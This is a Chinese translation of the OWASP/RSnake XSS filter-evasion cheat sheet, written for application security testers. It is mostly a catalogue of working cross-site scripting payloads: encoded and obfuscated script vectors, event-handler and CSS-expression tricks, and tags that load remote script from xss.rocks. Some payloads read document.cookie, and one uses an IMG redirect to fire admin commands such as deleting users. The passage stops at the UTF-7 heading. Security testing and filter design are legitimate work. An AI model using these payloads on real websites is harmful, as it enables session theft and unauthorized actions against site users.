目录导航
本文里面的技巧更新于2021年8月14日.
介绍
本文的重点是为应用程序安全测试专业人员提供指导,以帮助进行跨站点脚本测试。这篇文章的最初内容是由 RSnake 从他开创性的 XSS 备忘单中捐赠给 OWASP 的,位于: http://ha.ckers.org/xss.html。该站点现在重定向到它的新家,我们计划在那里维护和增强它。第一个 OWASP 预防备忘单,即 跨站点脚本预防备忘单,灵感来自 RSnake 的 XSS 备忘单,所以我们要感谢 RSnake 的灵感。
我们想创建简短、简单的指导方针,开发人员可以遵循以防止 XSS,而不是简单地告诉开发人员构建可以防范相当复杂的攻击备忘单中指定的所有花哨技巧的应用程序,因此 OWASP 备忘单系列 诞生了。
测试
这份备忘单列出了一系列可用于绕过某些 XSS 防御过滤器的 XSS 攻击。请注意,输入过滤是对 XSS 的不完整防御,这些测试可以用来说明。
没有过滤器规避的基本 XSS 测试
这是一个普通的 XSS JavaScript 注入,最有可能被拦截,但我建议先尝试一下(在任何现代浏览器中都不需要引号,因此这里省略了它们):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
XSS 定位器(Polygot)
下面是一个“polygot test XSS payload”。此测试将在多个上下文中执行,包括 html、脚本字符串、js 和 url。感谢Gareth Heyes的贡献。
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
使用 JavaScript 指令的图像 XSS
使用 JavaScript 指令的图像 XSS(IE7.0 不支持图像上下文中的 JavaScript 指令,但它在其他上下文中支持,但以下显示了适用于其他标签的原则:
<IMG SRC="javascript:alert('XSS');">
没有引号和分号
<IMG SRC=javascript:alert('XSS')>

不区分大小写的 XSS 攻击向量
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML 实体
需要分号才能工作:
<IMG SRC=javascript:alert("XSS")>
重音符混淆
如果您需要同时使用双引号和单引号,您可以使用重音符来封装 JavaScript 字符串——这也很有用,因为许多跨站点脚本过滤器不知道重音符:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
格式错误的 A 标签
跳过 HREF 属性并进入 XSS 的核心部分……由 David Cross 提交 ~ 在 Chrome 上验证
\<a onmouseover="alert(document.cookie)"\>xss link\</a\>
或 Chrome 喜欢为您替换丢失的引号……如果您遇到困难,只需将它们关闭即可,Chrome 会将它们放在正确的位置,并在 URL 或脚本上修复您丢失的引号。
\<a onmouseover=alert(document.cookie)\>xss link\</a\>
格式错误的 IMG 标签
最初由 Begeek 发现(但经过清理和缩短以适用于所有浏览器),这个 XSS 向量使用轻松渲染引擎在应该封装在引号内的 IMG 标签中创建我们的 XSS 向量。我认为这最初是为了纠正草率的编码。这将使正确解析 HTML 标签变得更加困难:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
来自字符代码
如果没有任何形式的报价是允许你可以eval()一个fromCharCode在JavaScript创建任何XSS向量你需要:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
获取过去检查 SRC 域的过滤器的默认 SRC 标签
这将绕过大多数 SRC 域过滤器。
在事件方法中插入 javascript 也适用于使用 Form、Iframe、Input、Embed 等元素的任何 HTML 标记类型注入。
它还允许替换标记类型的任何相关事件,例如onblur,onclick为您提供大量此处列出的许多注射的变化。大卫·克罗斯提交。
由 Abdullah Hussam(@Abdulahhusam) 编辑。
<IMG SRC=# onmouseover="alert('xss')">
通过将其留空来默认 SRC 标签
<IMG SRC= onmouseover="alert('xss')">
完全保留默认 SRC 标签
<IMG onmouseover="alert('xss')">
错误提示
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
IMG onerror 和 JavaScript alert编码
<img src=x onerror="javascript:alert('XSS')">
十进制 HTML 字符引用
所有在<IMG标签内使用 javascript: 指令的 XSS 示例在 Gecko 渲染引擎模式下的 Firefox 或 Netscape 8.1+ 中都不起作用)。
<IMG SRC=javascript:alert('XSS')>
没有尾随分号的十进制 HTML 字符引用
这在试图寻找“&#XX;”的 XSS 中通常很有效,因为大多数人不知道填充 – 总共最多 7 个数字字符。这对于像 $tmp_string =~ s/.*\&#(\d+);.*/$1/; 这样的字符串解码的人也很有用。它错误地假设需要分号来终止 html 编码的字符串(我已经在野外看到过):
<IMG SRC=javascript:alert('XSS')>
没有尾随分号的十六进制 HTML 字符引用
这也是针对上述字符串 $tmp_string=~ s/.*\&#(\d+);.*/$1/; 的可行 XSS 攻击;假设英镑符号后面有一个数字字符 – 这对于十六进制 HTML 字符来说不是这样)。
<IMG SRC=javascript:alert('XSS')>
嵌入式标签
用于破解跨站脚本攻击:
<IMG SRC="jav ascript:alert('XSS');">
嵌入式编码选项卡
使用这个来破解 XSS :
<IMG SRC="jav	ascript:alert('XSS');">
嵌入换行符以破坏 XSS
一些网站声称任何字符 09-13(十进制)都适用于这种攻击。那是不正确的。只有 09(水平标签)、10(换行符)和 13(回车)有效。有关更多详细信息,请参阅 ascii 图表。以下四个 XSS 示例说明了这个向量:
<IMG SRC="jav
ascript:alert('XSS');">
嵌入式回车到拆分 XSS
(注意:在上述情况下,我使这些字符串的长度比它们必须的要长,因为可以省略零。我经常看到过滤器假设十六进制和十进制编码必须是两个或三个字符。真正的规则是 1 -7 个字符。):
<IMG SRC="jav
ascript:alert('XSS');">
Null 会破坏 JavaScript 指令
空字符也可以用作 XSS 向量,但与上面不同,您需要使用 Burp Proxy 之类的东西直接注入它们或%00在 URL 字符串中使用,或者如果您想编写自己的注入工具,您可以使用 vim(^V^@将产生一个空值)或以下程序将其生成为文本文件。好吧,我又撒谎了,旧版本的 Opera(在 Windows 上大约为 7.11)容易受到一个额外的字符 173(软连字符控制字符)的影响。但是空字符%00更有用,它帮助我绕过了某些现实世界的过滤器,这个例子有一个变体:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
XSS 图像中 JavaScript 之前的空格和元字符
如果模式匹配不考虑单词中的空格javascript:– 这是正确的,因为它不会呈现 – 并且做出错误的假设,即引号和javascript:关键字之间不能有空格,这将很有用。实际情况是您可以使用十进制 1-32 之间的任何字符:
<IMG SRC="  javascript:alert('XSS');">
非字母非数字 XSS
Firefox HTML 解析器假定 HTML 关键字后的非字母非数字无效,因此将其视为 HTML 标签后的空格或无效标记。问题是一些 XSS 过滤器假设他们正在寻找的标签被空格分隔。例如
\<SCRIPT\\s != \<SCRIPT/XSS\\s:
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
然而,基于与上述相同的想法,使用 Rnake fuzzer 对其进行了扩展。Gecko 渲染引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)以外的任何字符,从而更容易绕过跨站点脚本块。请注意,这也适用于重音符字符,如下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit 提醒我注意 IE 和 Gecko 渲染引擎之间的行为略有不同,它只允许标记和参数之间的斜线没有空格。如果系统不允许空格,这可能很有用。
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
无关的开括号
由 Franz Sedlmaier 提交,这个 XSS 向量可以击败某些检测引擎,这些引擎首先使用匹配的打开和关闭尖括号对,然后通过比较里面的标签,而不是像 Boyer-Moore 这样的更有效的算法来寻找开放尖括号和相关标签的整个字符串匹配(当然是去混淆后)。双斜线注释掉结束无关的括号以抑制 JavaScript 错误:
<<SCRIPT>alert("XSS");//\<</SCRIPT>
没有结束脚本标签
在 Gecko 渲染引擎模式下的 Firefox 和 Netscape 8.1 中,您实际上不需要\></SCRIPT>此跨站点脚本向量的部分。Firefox 假定关闭 HTML 标记并为您添加结束标记是安全的。考虑周全!与不影响 Firefox 的下一个不同,它下面不需要任何额外的 HTML。如果需要,您可以添加引号,但通常不需要它们,尽管要注意,我不知道注入后 HTML 最终会是什么样子:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
脚本标签中的协议解析
这个特殊的变种是由 Łukasz Pilorz 提交的,部分基于 Ozh 的协议解析绕过。这个跨站点脚本示例适用于 IE、Netscape 的 IE 渲染模式和 Opera(如果您在</SCRIPT>末尾添加标签)。但是,这在空间有问题的情况下特别有用,当然,您的域越短越好。无论编码类型如何,“.j”都是有效的,因为浏览器在 SCRIPT 标签的上下文中知道它。
<SCRIPT SRC=//xss.rocks/.j>
半开放 HTML/JavaScript XSS 向量
与 Firefox 不同,IE 渲染引擎不会向您的页面添加额外数据,但它允许在图像中使用 javascript: 指令。这作为向量很有用,因为它不需要右尖括号。这假设在您注入此跨站点脚本向量的位置下方有任何 HTML 标记。即使没有关闭“>”标签,它下面的标签也会关闭它。注意:这确实会弄乱 HTML,具体取决于它下面的 HTML。它绕过了以下 NIDS 正则表达式:/((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/因为它不需要结尾“>”。作为旁注,这对我使用开放式<IFRAME标签而不是标签遇到的现实世界 XSS 过滤器也很有效<IMG:
<IMG SRC="`('XSS')"`
双开角括号

在矢量末尾使用开放的尖括号而不是关闭的尖括号会导致 Netscape Gecko 渲染中的不同行为。没有它,Firefox 会工作,但 Netscape 不会:
<iframe src=http://xss.rocks/scriptlet.html <
转义 JavaScript
当编写应用程序以在 JavaScript 中输出一些用户信息时,如下所示:<SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>并且您想将自己的 JavaScript 注入其中,但服务器端应用程序转义了某些引号,您可以通过转义它们的转义字符来规避这种情况。当它被注入时,它将读取<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>最终取消双引号并导致跨站点脚本向量触发。XSS 定位器使用这种方法。:
\";alert('XSS');//
另一种选择,如果正确的 JSON 或 Javascript 转义已应用于嵌入的数据而不是 HTML 编码,则完成脚本块并启动您自己的:
</script><script>alert('XSS');</script>
结束标题标签
这是一个简单的关闭<TITLE>标签的XSS向量,可以封装恶意跨站脚本攻击:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
输入图像
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
body图像
<BODY BACKGROUND="javascript:alert('XSS')">
IMG动态源
<IMG DYNSRC="javascript:alert('XSS')">
IMG 低源文件
<IMG LOWSRC="javascript:alert('XSS')">
列表样式图像
处理项目符号列表的嵌入图像的相当深奥的问题。由于 JavaScript 指令,这仅适用于 IE 渲染引擎。不是一个特别有用的跨站点脚本向量:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
图像中的 VBscript
<IMG SRC='vbscript:msgbox("XSS")'>
Livescript(仅限旧版本的 Netscape)
<IMG SRC="livescript:[code]">
SVG 对象标签
<svg/onload=alert('XSS')>
ECMAScript 6
Set.constructor`alert\x28document.domain\x29
body标签
不需要使用任何变体javascript:或<SCRIPT...来完成 XSS 攻击的方法)。Dan Crowley 还指出,您可以在等号 ( onload=!= onload =)之前放置一个空格:
<BODY ONLOAD=alert('XSS')>
事件处理程序
它可以用于与上述类似的 XSS 攻击(在撰写本文时,这是网络上最全面的列表)。感谢 Rene Ledosquet 对 HTML+TIME 的更新。
该Dottoro Web引用也有一个很好的JavaScript事件的列表。
FSCommand()(当从嵌入式 Flash 对象中执行时,攻击者可以使用它)onAbort()(当用户中止图像加载时)onActivate()(当对象被设置为活动元素时)onAfterPrint()(在用户打印或预览打印作业后激活)onAfterUpdate()(更新源对象中的数据后在数据对象上激活)onBeforeActivate()(在对象被设置为活动元素之前触发)onBeforeCopy()(攻击者在将选择复制到剪贴板之前执行攻击字符串 – 攻击者可以使用该execCommand("Copy")功能执行此操作)onBeforeCut()(攻击者在选择被切断之前执行攻击字符串)onBeforeDeactivate()(在 activeElement 从当前对象更改后立即触发)onBeforeEditFocus()(在可编辑元素中包含的对象进入 UI 激活状态之前或在选择可编辑容器对象时触发)onBeforePaste()(用户需要被诱骗粘贴或使用该execCommand("Paste")功能强制粘贴)onBeforePrint()(用户需要被欺骗打印或攻击者可以使用print()或execCommand("Print")功能)。onBeforeUnload()(用户需要被诱骗关闭浏览器 – 除非它是从父级生成的,否则攻击者无法卸载窗口)onBeforeUpdate()(在更新源对象中的数据之前激活数据对象)onBegin()(当元素的时间线开始时, onbegin 事件会立即触发)onBlur()(在加载另一个弹出窗口并且窗口失去焦点的情况下)onBounce()(当Marquee对象的行为属性设置为“备用”和Marquee的内容到达窗口的一侧时)onCellChange()(当数据提供者中的数据发生变化时触发)onChange()(选择、文本或 TEXTAREA 字段失去焦点并且其值已被修改)onClick()(有人点击表格)onContextMenu()(用户需要右键单击攻击区域)onControlSelect()(当用户即将对对象进行控件选择时触发)onCopy()(用户需要复制一些东西或者可以使用execCommand("Copy")命令来利用它)onCut()(用户需要复制一些东西或者可以使用execCommand("Cut")命令来利用它)onDataAvailable()(用户需要更改元素中的数据,否则攻击者可以执行相同的功能)onDataSetChanged()(当数据源对象公开的数据集更改时触发)onDataSetComplete()(触发以指示数据源对象中的所有数据都可用)onDblClick()(用户双击表单元素或链接)onDeactivate()(当 activeElement 从当前对象更改为父文档中的另一个对象时触发)onDrag()(要求用户拖动对象)onDragEnd()(要求用户拖动对象)onDragLeave()(要求用户将对象拖离有效位置)onDragEnter()(要求用户将对象拖动到有效位置)onDragOver()(要求用户将对象拖动到有效位置)onDragDrop()(用户将对象(例如文件)拖放到浏览器窗口上)onDragStart()(在用户开始拖动操作时发生)onDrop()(用户将对象(例如文件)拖放到浏览器窗口上)onEnd()(当时间线结束时触发 onEnd 事件。onError()(加载文档或图像会导致错误)onErrorUpdate()(在更新数据源对象中的关联数据时发生错误时触发数据绑定对象)onFilterChange()(当视觉过滤器完成状态更改时触发)onFinish()(攻击者可以在选框完成循环时创建利用)onFocus()(攻击者在窗口获得焦点时执行攻击字符串)onFocusIn()(攻击者在窗口获得焦点时执行攻击字符串)onFocusOut()(攻击者在窗口失去焦点时执行攻击字符串)onHashChange()(当文档当前地址的片段标识符部分更改时触发)onHelp()(攻击者在窗口处于焦点时用户点击 F1 时执行攻击字符串)onInput()(元素的文本内容通过用户界面更改)onKeyDown()(用户按下一个键)onKeyPress()(用户按下或按住某个键)onKeyUp()(用户释放密钥)onLayoutComplete()(用户必须打印或打印预览)onLoad()(攻击者在窗口加载后执行攻击字符串)onLoseCapture()(可以被releaseCapture()方法利用)onMediaComplete()(当使用流媒体文件时,此事件可能会在文件开始播放之前触发)onMediaError()(用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发该事件)onMessage()(当文档收到消息时触发)onMouseDown()(攻击者需要让用户点击图片)onMouseEnter()(光标在对象或区域上移动)onMouseLeave()(攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)onMouseMove()(攻击者需要让用户将鼠标悬停在图像或表格上)onMouseOut()(攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)onMouseOver()(光标在对象或区域上移动)onMouseUp()(攻击者需要让用户点击图片)onMouseWheel()(攻击者需要让用户使用他们的鼠标滚轮)onMove()(用户或攻击者会移动页面)onMoveEnd()(用户或攻击者会移动页面)onMoveStart()(用户或攻击者会移动页面)onOffline()(发生在浏览器在联机模式下工作并且开始脱机工作时)onOnline()(发生在浏览器在离线模式下工作并开始在线工作时)onOutOfSync()(中断元素播放时间轴定义的媒体的能力)onPaste()(用户需要粘贴或攻击者可以使用该execCommand("Paste")功能)onPause()(当时间线暂停时,onpause 事件会在每个处于活动状态的元素上触发,包括 body 元素)onPopState()(当用户浏览会话历史时触发)onProgress()(攻击者会在加载 Flash 电影时使用它)onPropertyChange()(用户或攻击者需要更改元素属性)onReadyStateChange()(用户或攻击者需要更改元素属性)onRedo()(用户在撤消交易历史中前进)onRepeat()(该事件为时间线的每次重复触发一次,不包括第一个完整周期)onReset()(用户或攻击者重置表单)onResize()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)onResizeEnd()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)onResizeStart()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)onResume()(onresume 事件会在时间线恢复时激活的每个元素上触发,包括 body 元素)onReverse()(如果元素的 repeatCount 大于 1,则每次时间线开始向后播放时都会触发此事件)onRowsEnter()(用户或攻击者需要更改数据源中的一行)onRowExit()(用户或攻击者需要更改数据源中的一行)onRowDelete()(用户或攻击者需要删除数据源中的一行)onRowInserted()(用户或攻击者需要在数据源中插入一行)onScroll()(用户需要滚动,否则攻击者可以使用该scrollBy()功能)onSeek()(当时间轴设置为向前以外的任何方向播放时,将触发 onreverse 事件)onSelect()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)onSelectionChange()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)onSelectStart()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)onStart()(在每个选框循环开始时触发)onStop()(用户需要按停止按钮或离开网页)onStorage()(存储区域已更改)onSyncRestored()(用户中断元素播放由时间线定义的媒体的能力以触发)onSubmit()(需要攻击者或用户提交表单)onTimeError()(用户或攻击者将时间属性(例如 dur)设置为无效值)onTrackChange()(用户或攻击者更改播放列表中的曲目)onUndo()(用户在撤消事务历史记录中倒退)onUnload()(当用户单击任何链接或按下后退按钮或攻击者强制单击时)onURLFlip()(当由 HTML+TIME(定时交互式多媒体扩展)媒体标签播放的高级流格式 (ASF) 文件处理嵌入在 ASF 文件中的脚本命令时,将触发此事件)seekSegmentTime()(这是一种在元素的片段时间线上定位指定点并从该点开始播放的方法。片段由时间线的一次重复组成,包括使用 AUTOREVERSE 属性的反向播放。)
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
& JavaScript 包括
<BR SIZE="&{alert('XSS')}">
样式表
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
远程样式表
使用像远程样式表这样简单的东西,您可以包含 XSS,因为样式参数可以使用嵌入式表达式重新定义。这仅适用于 IE 和 Netscape 8.1+ 的 IE 渲染引擎模式。请注意,页面上没有任何内容表明已包含 JavaScript。注意:对于所有这些远程样式表示例,它们都使用 body 标记,因此除非页面上有除矢量本身之外的某些内容,否则它不会起作用,因此您需要向页面添加一个字母以如果它是一个空白页面,则使其工作:
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
远程样式表第 2 部分
这与上面的工作方式相同,但使用<STYLE>标签而不是<LINK>标签)。这个向量的一个微小的变化被用来入侵谷歌桌面。作为bypass,</STYLE>如果在向量之后立即有 HTML 以关闭它,您可以删除结束标记。如果在跨站点脚本攻击中不能使用等号或斜线,这将很有用,这在现实世界中至少出现过一次:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
远程样式表第 3 部分
这仅适用于 Opera 8.0(不再适用于 9.x)但相当棘手。根据 RFC2616 设置,链接头不是 HTTP1.1 规范的一部分,但是一些浏览器仍然允许它(如 Firefox 和 Opera)。这里的技巧是我正在设置一个标头(基本上与 HTTP 标头中的说法没有什么不同Link: <http://xss.rocks/xss.css>; REL=stylesheet),并且带有我的跨站点脚本向量的远程样式表正在运行 JavaScript,而 FireFox 不支持它:
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
远程样式表第 4 部分
这仅适用于 Gecko 渲染引擎,并通过将 XUL 文件绑定到父页面来工作。我认为这里具有讽刺意味的是,Netscape 认为 Gecko 更安全,因此对于绝大多数站点来说都容易受到影响:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
带有用于 XSS 的破碎 JavaScript 的 STYLE 标签
此 XSS 有时会将 IE 发送到无限循环的警报中:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
使用对分解表达式的注释的 STYLE 属性
由罗曼·伊万诺夫创建
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
带有表情的 IMG STYLE
这实际上是上述 XSS 向量的混合体,但它确实显示了 STYLE 标签解析的难度,就像上面这样可以将 IE 发送到循环中:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
STYLE 标签(仅限旧版本的 Netscape)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
使用背景图像的样式标签
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
使用背景的样式标签
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
带有 STYLE 属性的匿名 HTML
IE6.0 和 Netscape 8.1+ 在 IE 渲染引擎模式下并不真正关心你构建的 HTML 标签是否存在,只要它以一个开放的尖括号和一个字母开头:
<XSS STYLE="xss:expression(alert('XSS'))">
本地 HTC 文件
这与上述两个跨站点脚本向量略有不同,因为它使用一个 .htc 文件,该文件必须与 XSS 向量位于同一服务器上。示例文件通过引入 JavaScript 并将其作为 style 属性的一部分运行:
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII 编码
US-ASCII 编码(由 Kurt Huwig 发现)。它使用 7 位而不是 8 位的畸形 ASCII 编码。这个 XSS 可能会绕过许多内容过滤器,但只有在主机以 US-ASCII 编码传输时才有效,或者如果您自己设置编码. 这对于 Web 应用程序防火墙跨站点脚本规避比服务器端过滤规避更有用。Apache Tomcat 是唯一已知的以 US-ASCII 编码传输的服务器。
¼script¾alert(¢XSS¢)¼/script¾
META
元刷新的奇怪之处在于它不会在标头中发送引用 – 因此它可以用于某些类型的攻击,您需要摆脱引用 URL:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
META 使用数据
指令 URL 方案。这很好,因为它也没有任何明显包含单词 SCRIPT 或 JavaScript 指令的内容,因为它使用 base64 编码。有关更多详细信息,请参阅 RFC 2397 或转到此处或此处对您自己的进行编码。如果您只想对原始 HTML 或 JavaScript 进行编码,也可以使用下面的 XSS计算器,因为它具有 Base64 编码方法:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
带有附加 URL 参数的 META
如果目标网站试图查看 URL 是否包含<http://>;开头,您可以使用以下技术来逃避它(由 Moritz Naumann 提交):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
iFRAME
如果允许 iframe,还有很多其他的 XSS 问题:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFRAME 基于事件
IFrames 和大多数其他元素可以使用基于事件的混乱,如下所示……(提交人:David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
FRAME
FRAME与 iframe 具有相同类型的 XSS 问题
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
TD
就像上面一样,TD 容易受到包含 JavaScript XSS 向量的背景的攻击:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV
DIV 背景图像
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
带有 Unicoded XSS 漏洞的 DIV 背景图像
这已被稍微修改以混淆 url 参数。Renaud Lifchitz 发现原始漏洞是 Hotmail 中的一个漏洞:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
DIV 背景图像加上额外字符
Rnaske 构建了一个快速的 XSS 模糊器,以检测安全站点模式下 IE 和 Netscape 8.1 中在左括号之后但在 JavaScript 指令之前允许的任何错误字符。这些是十进制的,但您当然可以包含十六进制并添加填充。(可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV 表达式
这种变体对于使用冒号和“表达式”之间的换行符的真实世界跨站点脚本过滤器是有效的:
<DIV STYLE="width: expression(alert('XSS'));">
下层隐藏块
仅适用于 IE5.0 及更高版本以及 IE 渲染引擎模式下的 Netscape 8.1)。一些网站认为评论块内的任何内容都是安全的,因此不需要删除,这允许我们的跨站点脚本向量。或者系统可以在某物周围添加注释标签以试图使其无害。正如我们所看到的,这可能不会完成这项工作:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
base标签
在安全模式下在 IE 和 Netscape 8.1 中工作。您需要//注释掉下一个字符,这样您就不会收到 JavaScript 错误并且您的 XSS 标签将呈现。此外,这依赖于网站使用动态放置的图像images/image.jpg而不是完整路径的事实。如果路径包含一个前导正斜杠,就像/images/image.jpg你可以从这个向量中删除一个斜杠(只要有两个开始注释,这将起作用):
<BASE HREF="javascript:alert('XSS');//">
对象标签
如果它们允许对象,您还可以注入病毒负载来感染用户等,与 APPLET 标签相同)。链接文件实际上是一个 HTML 文件,可以包含您的 XSS:
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
嵌入包含 XSS 的 Flash 电影
单击此处查看演示: http://ha.ckers.org/xss.swf
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
如果您添加属性allowScriptAccess="never"并且allownetworking="internal"它可以减轻这种风险(感谢 Jonathan Vanasco 提供的信息)。
包含 XSS 向量的 EMBED SVG
此示例仅适用于 Firefox,但它比 Firefox 中的上述向量更好,因为它不需要用户打开或安装 Flash。感谢 nEUROO 的这一点。
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
在 Flash 中使用 ActionScript 进行混淆
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
带有 CDATA 混淆的 XML 数据岛
这种 XSS 攻击仅在 IE 和 Netscape 8.1 的 IE 渲染引擎模式下有效)——Sec Consult 在审计 Yahoo 时发现的向量:
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
使用 XML 数据岛生成的带有嵌入式 JavaScript 的本地托管 XML
这与上面相同,但指的是包含跨站点脚本向量的本地托管(必须在同一服务器上)XML 文件。你可以在这里看到结果:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
XML 格式的 HTML+TIME
这就是 Gray Magic 入侵 Hotmail 和 Yahoo! 的方式。这仅适用于 IE 渲染引擎模式下的 Internet Explorer 和 Netscape 8.1,请记住,您需要在 HTML 和 BODY 标记之间才能使其工作:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
假设您只能放入几个字符,并且它会根据 .js
您可以将 JavaScript 文件重命名为 XSS 向量的图像:
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
SSI(服务器端包括)
这需要在服务器上安装 SSI 才能使用此 XSS 向量。我可能不需要提及这一点,但是如果您可以在服务器上运行命令,那么毫无疑问会出现更严重的问题:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
PHP
需要在服务器上安装 PHP 才能使用此 XSS 向量。同样,如果您可以像这样远程运行任何脚本,那么可能存在更可怕的问题:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG 嵌入式命令
当注入它的网页(如网页板)处于密码保护之后,并且该密码保护与同一域上的其他命令一起使用时,这会起作用。这可用于删除用户、添加用户(如果访问该页面的用户是管理员)、将凭据发送到其他地方等…。这是较少使用但更有用的 XSS 向量之一:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
IMG 嵌入式命令第二部分
这更可怕,因为除了它不是托管在您自己的域上之外,绝对没有任何标识符使它看起来可疑。该向量使用 302 或 304(其他也可以)将图像重定向回命令。因此,法线<IMG SRC="httx://badguy.com/a.jpg">实际上可能是一个攻击媒介,以查看图像链接的用户身份运行命令。这是用于完成向量的 .htaccess(在 Apache 下)行(感谢 Timo 提供的部分内容):
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Cookie 操作
诚然,这很晦涩,但我看到了一些<META允许的示例,您可以使用它来覆盖 cookie。还有其他一些站点示例,其中不是从数据库中获取用户名,而是将其存储在 cookie 中,以便仅向访问该页面的用户显示。结合这两个场景,您可以修改受害者的 cookie,这些 cookie 将作为 JavaScript 显示给他们(您也可以使用它来注销人们或更改他们的用户状态,让他们以您的身份登录,等等):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
UTF-7 编码
